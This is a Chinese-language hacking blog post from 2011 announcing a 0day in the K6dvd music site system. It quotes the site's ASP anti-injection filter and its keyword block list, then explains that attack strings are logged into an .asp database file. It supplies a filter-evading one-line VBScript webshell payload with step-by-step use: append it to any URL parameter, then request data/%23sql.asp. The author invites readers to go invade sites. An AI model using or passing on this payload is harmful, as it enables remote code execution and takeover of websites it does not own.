K6dvd 音乐网0day (防注射的尴尬)

2011, March 2, 1:35 PM. 漏洞分析
Submitted by admin

http://www.3est.com/4185/

很久没看代码了~发表之前,相信应该有很多前辈已经知道这个BUG了!!Ps:虽然我没发现过,也许是太久没关注网络了!呵~~

K6dvd 影视系统是国内不错的音乐发表管理系统!

今天鱼叫我这周内发表些渗透文章供黑客吧交流!~ 本是拒绝的,因为有段时间没做渗透了,所以也没啥可写的!但还是随意的翻了些站 看看能不能弄点菜鸟渗透文章。。。

发现一音乐发布站,就它吧! URL就不写了 目的不再于渗透~呵!

随便找了个带参数的URL 提交了个' 返回如下:
大小: 16.1 K
尺寸: 461 x 132
浏览: 48 次
点击打开新窗口浏览全图

恩,防注射系统!大多搞渗透的朋友应该都见过~

非法操作!系统做了如下记录↓
操作IP:xxx.xxx.xxx.xx
操作时间:2009-5-28 19:33:47
操作页面:/yxplay.asp
提交方式:GET
提交参数:id
提交数据:109446'

呵,还做了IP记录呀~~

随意的试了些普通的渗透思路~由于有防注射系统的阻挡,所以很不如意!于是呼,直接下了套这站点的音乐源码回来看能不能翻个ODAY~于是,就有了此文!!

先看下刚才的防注射系统吧,存在于conn.asp 和sql.asp,部分如下:

dim dbkillSql,killSqlconn,connkillSql
dbkillSql="data/#sql.asp"
'On Error Resume Next
Set killSqlconn = Server.CreateObject("ADODB.Connection")
connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql)
killSqlconn.Open connkillSql

创建了个数据库连接!
'--------POST部份------------------
If Request.Form<>"" Then
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
If WriteSql=True Then
killSqlconn.Execute("insert into 9j455(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
killSqlconn.close
Set killSqlconn = Nothing
End If
Response.Write "<Script Language=JavaScript>alert('快乐视听娱乐网提示你,请不要给本站提交任何非法字符或参数尝试注入!');</Script>"
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:POST<br>"
Response.Write "提交参数:"&Fy_Post&"<br>"
Response.Write "提交数据:"&Request.Form(Fy_Post)
Response.End
End If

恩,刚才就是alert这个错误消息!

仔细看,发现个有意思的家伙killSqlconn.Execute("insert into 9j455(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")

这是正常的记录IP和action类型 以及注射者提交的内容等!!在看看上面的Server.CreateObject("ADODB.Connection") 数据库竟然是ASP。。。那,如果我们提交' <%execute(request("wooden"))%>不就为我们写了一句话小马到#sql.asp么? 别高兴太早,再看这个:

'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"

fy_in参数里执行了提交类型中包含的关键字! 如果我们提交的内容出现这些关键字的话,那么就无法提交到数据库了!

如果学过正则的话,这个对于JS高手来说根本不算问题,经过反复的改些! 终于,一个可以跳过如上所有检测的一句话木马诞生了~不过是eval - - 哎 没execute报错的那种快感啊!

<script runat=server language=vbscript>eval request(chr(35))</script>



利用方法,在任何的URL参数后面带上 and =><script runat=server language=vbscript>eval request(chr(35))</script>

然后访问data/%23sql.asp 就可以执行一句话小马了:
大小: 38.33 K
尺寸: 500 x 147
浏览: 48 次
点击打开新窗口浏览全图

好了,Oday发布了,大家可以尽情去入侵了,但切记:别搞破坏!特别是挂马者 鄙视~

Tags: k6dvd

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):